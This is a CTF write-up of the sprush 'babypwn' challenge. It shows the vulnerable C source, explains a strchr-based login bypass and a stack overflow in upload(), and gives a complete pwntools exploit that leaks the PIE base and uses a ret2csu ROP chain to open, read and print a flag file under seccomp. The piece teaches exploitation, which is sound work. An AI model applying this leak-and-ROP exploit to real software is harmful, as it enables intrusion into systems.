SPR{babypwn}
Hi everyone !
This week write up will start fairly simple and easy with a funny chall of the sprush CTF
which is a pwn challenge
and they give us the libc
and the respective source code
, so not so much ASM involve.
recon
A Basic 64 bit PIE - binary
without canary.
root@ea494f7de03f:/ctf/work/babypwn/task# checksec --file app
[*] '/ctf/work/babypwn/task/app'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
First of all, lets analyze the respective source code
:
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <seccomp.h>
#include <sys/utsname.h>
char* ptr[4] = {0, 0, 0, 0};
int seccomped=0;
void sandbox() {
if (!seccomped) {
scmp_filter_ctx seccomp_ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat), 0);
seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(seccomp_ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_load(seccomp_ctx);
seccomp_release(seccomp_ctx);
}
seccomped=1;
}
void setup() {
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
}
int auth() {
char login[16] = {0};
char password[16] = {0};
char user_login[16] = {0};
char user_password[16] = {0};
int fd = open("auth.txt", O_RDONLY);
char buf[100] = {0};
read(fd, buf, 100);
strncpy(login, buf, strchr(buf, ':')-buf);
strncpy(password, strchr(buf, ':')+1, strchr(buf, '\n')-strchr(buf, ':')-1);
puts("Login:");
read(0, user_login, 16);
puts("Password:");
read(0, user_password, 16);
for (int i = 0; i < 5; i++) {
if (!strchr(login, user_login[i])) {
return 0;
}
}
for (int i = 0; i < 6; i++) {
if (!strchr(password, user_password[i])) {
return 0;
}
}
return 1;
}
int get_game_number() {
char num[16] = {0};
int number = 0;
puts("Input your game's number:");
read(0, num, 16);
number = atoi(num);
if (number >= 1 && number <= 4) {
return number;
} else {
puts("Invalid number");
return -1;
}
}
void create() {
int number = get_game_number();
if (number != -1) {
if (!ptr[number-1]) {
ptr[number-1] = (char*)calloc(1, 0x100);
puts("Tell about it:");
read(0, ptr[number-1], 0x50);
puts("OK. Got your thoughts.");
return;
}
}
}
void print() {
int number = get_game_number();
if (number != -1) {
if (ptr[number-1]) {
puts("Content:");
puts(ptr[number-1]);
}
}
return;
}
void delet() {
int number = get_game_number();
if (number != -1) {
if (ptr[number-1]) {
free(ptr[number-1]);
ptr[number-1] = 0;
}
}
}
void upload() {
char buf[16] = {0};
puts("Input your size:");
read(0, buf, 16);
read(0, buf, atoi(buf));
puts(buf);
return;
}
int menu() {
char buf[16] = {0};
puts("1. Create game");
puts("2. Print game\n3. Delete game");
puts("4. Upload file\n5. Test RNG");
puts("6. Exit\nYour choice:");
read(0, buf, 16);
return atoi(buf);
}
int try_rng() {
char buf[16] = {0};
int number=0;
srand(time(NULL));
int r = rand()%100;
puts("Type your guess:");
read(0, buf, 16);
number = atoi(buf);
if (number == r) {
puts("Hooray! You're real lucky boy");
} else {
printf("Nah. The correct one is %d\n", r);
}
return r;
}
void finish() {
exit(0);
}
int main() {
setup();
sandbox();
if (!auth()) {
return 1;
}
for (;;) {
switch (menu()) {
case 1:
create();
break;
case 2:
print();
break;
case 3:
delet();
break;
case 4:
upload();
break;
case 5:
try_rng();
break;
case 6:
finish();
break;
};
}
}
First of all, the binary will ask us for a username and password
, since we dont know anything of it, lets analyze the respective function. From now, to analyze everything, I’ll add comments to the respective ASM | source code
, and start from there to generate conclusions.
int auth() {
char login[16] = {0};
char password[16] = {0};
char user_login[16] = {0};
char user_password[16] = {0};
int fd = open("auth.txt", O_RDONLY);
/*
* Important: In buf we'll have the respective auth credentials which are 5 and 6 bytes long respectively.
* On the last for loops, there's and important bug, since the only thing that the code is doing is to iterate over our creds and calling strchr() for each character.
* what strchr() does is the following: return a pointer to the respective first ocurrence of the word if not, return NULL.
* Since its called for each one of our creds, we just need to know (or guess) one character that is inside of the correct credentials.
* turnsout, 'a' is contained in username and the respective password.
*/
char buf[100] = {0};
read(fd, buf, 100);
strncpy(login, buf, strchr(buf, ':')-buf);
strncpy(password, strchr(buf, ':')+1, strchr(buf, '\n')-strchr(buf, ':')-1);
puts("Login:");
read(0, user_login, 16);
puts("Password:");
read(0, user_password, 16);
for (int i = 0; i < 5; i++) {
if (!strchr(login, user_login[i])) {
return 0;
}
}
for (int i = 0; i < 6; i++) {
if (!strchr(password, user_password[i])) {
return 0;
}
}
return 1;
}
From here, we’re in…
We have an array of pointers in the bss, which is saving pointers to heap chunks
, but no heap overflow
or UAF
here (the respective pointers are set to NULL after free()
).
One important thing, is a basic buffer overflow
on the upload()
function.
void upload() {
char buf[16] = {0};
puts("Input your size:");
read(0, buf, 16);
/*
* The important thing here is that we're ask for the size, and the buffer is just `16 bytes` long, so, by writing 24+ bytes of data, we successfully can make a `bof`.
*/
read(0, buf, atoi(buf));
puts(buf);
return;
}
Note that we cant just call one_gadgets | execve | arbitrary syscall
, since we’re "sandboxed with seccomp"
, so, we’re gonna leak the flag with just the white listed syscalls
.
Exploit
how ?
- First, everything that we’re gonna do is centered on this last function.
- Since is a
PIE binary
, we first need aleak
in order to calculate thebase of the binary
. - This last functions comes handy, we can write
n-bytes
just before thereturn value
, if we do this just before the return address, puts will write the entire buffer, which will have no nullbyte in between thebuffer and the return address
, allowing us to leak theret value
. - Second, since we need to control the
third register (rdx)
to use theread syscall
, we’re gonna need to do aret2csu
attack. - We have an infinite
buffer
, so we can make everything with just oneROP chain
(after the respective leak) that will do the following. - read the
/tmp/flag.txt
string into the bss. - open the
/tmp/flag.txt
using the bss string. - read the open file into the bss.
- puts the
bss string
that will contain our flag.
ret2csu -> read(fd = 0, bss, len("/tmp/flag.txt") ) -> fd = open(bss) -> read(fd, bss, 0x20) -> puts(bss)
With this being said, the exploit will become something like this (I’ll comment every part of the code, if this format is not friendly for a writeup, please, ping me up).
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'new-window'])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "./app" ## change for the challenge name
DEBUG = 1
if DEBUG:
context.log_level = "debug"
p = process(p_name, env = {"LD_PRELOAD":"./libc.so.6"}) ## Start the new process
gdb_command = '''b * main
b * auth+358
b * upload+104
b * __libc_csu_init+82'''.split('\n') ## The command that will run gdb at startup
attach_command = "tmux new-window gdb {} {} ".format(p_name,p.pid)
for k in gdb_command:
attach_command += '''--eval-command="{}" '''.format(k)
log.debug("Starting a new gdb session with the following command: {}".format(attach_command))
subprocess.Popen(attach_command, shell=True, stdin=subprocess.PIPE)
else:
p = remote("tasks.sprush.rocks",20002)
def make_auth():
username = b'a' * 6
password = b'a' * 6
p.sendline(username)
p.sendline(password)
p.recvuntil(b"Your choice:")
def upload_bof(size, payload,n = True):
p.sendline(b'4')
p.recvuntil(b"size:")
p.sendline(str(size))
p.sendline(payload)
p.recvuntil('AAAA')
leak = p.recvline()
if n :
p.recvuntil("choice:")
return leak
# First, for the login function, the only thing that the program does is to search for a occurence of one character
# By knowing one character in username and password we're in
yesno("Send the auth payload ?")
make_auth()
# Now we have a classic bof on the upload function with offset: 24
# With 24 of bof, we can get the leak of the return value of the function
# By not writing the nullbyte on our string "main+140"
leak_main_140 = upload_bof(24, b"A"*24)
leak_main_140 = leak_main_140.strip()[20:]
leak_main_140 = leak_main_140.ljust(8,b"\x00")
leak_main_140 = u64(leak_main_140)
binary_base = leak_main_140 - 0x19fd
bss = binary_base + 0x0000000000004000 + 0x90
plt_read = binary_base + 0x10c0
got_read = binary_base + 0x3f90
got_puts = binary_base + 0x3f68
plt_puts = binary_base + 0x1070
plt_open = binary_base + 0x1110
csu_first = binary_base + 0x1a72
'''
0x000055bfa1e97a72 <+82>: pop rbx
0x000055bfa1e97a73 <+83>: pop rbp
0x000055bfa1e97a74 <+84>: pop r12
0x000055bfa1e97a76 <+86>: pop r13
0x000055bfa1e97a78 <+88>: pop r14
0x000055bfa1e97a7a <+90>: pop r15
0x000055bfa1e97a7c <+92>: ret
'''
csu_second = binary_base + 0x1a58
'''
0x000055bfa1e97a58 <+56>: mov rdx,r15
0x000055bfa1e97a5b <+59>: mov rsi,r14
0x000055bfa1e97a5e <+62>: mov edi,r13d
0x000055bfa1e97a61 <+65>: call QWORD PTR [r12+rbx*8]
'''
rdi = binary_base + 0x0000000000001a7b # pop rdi; ret
rsi = binary_base + 0x0000000000001a79 # 0x0000000000001a79: pop rsi; pop r15; ret;
log.info("Leak of main+140: %s" % hex(leak_main_140))
log.info("Binary base: %s" % hex(binary_base))
log.info("bss start: %s" % hex(bss))
log.info("read@@PLT: %s" % hex(plt_read))
log.info("puts@@GOT: %s" % hex(got_puts))
log.info("puts@@PLT: %s" % hex(plt_puts))
yesno("Do the second overflow ? ")
payload = b''
payload += b'A' * 24 # Padding
payload += p64(csu_first)
payload += p64(0x00) # call QWORD PTR [r12+rbx*8]
payload += p64(0x01) # set rbp to 0x1 in order to pass the cmp instruction and reach the ret value
payload += p64(got_read) # since the jump dereference the address, we need to place the GOT, since the address is already resolved, which means that the read@@GOT will have the address of the function on libc.
payload += p64(0x00) # rdi register
payload += p64(bss ) # rsi register
payload += p64(0x10) # rdx register
payload += p64(csu_second) # Second part of the ret2csu chain
payload += p64(0x00) # just some padding to reach the respective ret (we need to pass over every pop instruction that come after the cmp)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += b'AAAABBBB'
payload += p64(rdi) # Here's the part that will be in charge of open the respective file
payload += p64(bss) # bss address where we have the /tmp/flag.txt string
payload += p64(rsi)
payload += p64(0x00) # rsi for the respective open flags
payload += p64(0x00) # dummy r15
payload += p64(plt_open) # call open
# Now, we have the filedescriptor of the open file on rax, which must be 0x4
# In order to read it, we need another ret2csu, lol
payload += p64(csu_first)
payload += p64(0x00) # call QWORD PTR [r12+rbx*8]
payload += p64(0x01) # same as above, set rbp to 0x1 in order to pass the cmp instruction and reach the ret value
payload += p64(got_read) # r12 to the jump ( read@@GOT )
payload += p64(0x04) # to rdi, te respective file descriptor
payload += p64(bss) # rsi value, where we gona write
payload += p64(0x30) # rdx : amount of bytes to read from the fd
payload += p64(csu_second)
payload += p64(0x00) # just some padding to reach the respective ret
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(0x00)
payload += b'AAAABBBB'
# Now, we have the flag on our bss section,
# We need to write it down, with puts, yay
payload += p64(rdi)
payload += p64(bss)
payload += p64(plt_puts)
# Now exit to main or end it
payload += b'AAAABBBB'
upload_bof(len(payload) + 1, payload, n=False)
yesno("Send the flag path ?")
# This flag will be used on the first read of our ropchain
p.sendline(b"/tmp/flag.txt\x00")
p.interactive()
With this, we’re ready to grab the flag :D
Hope that this helps!
cheers!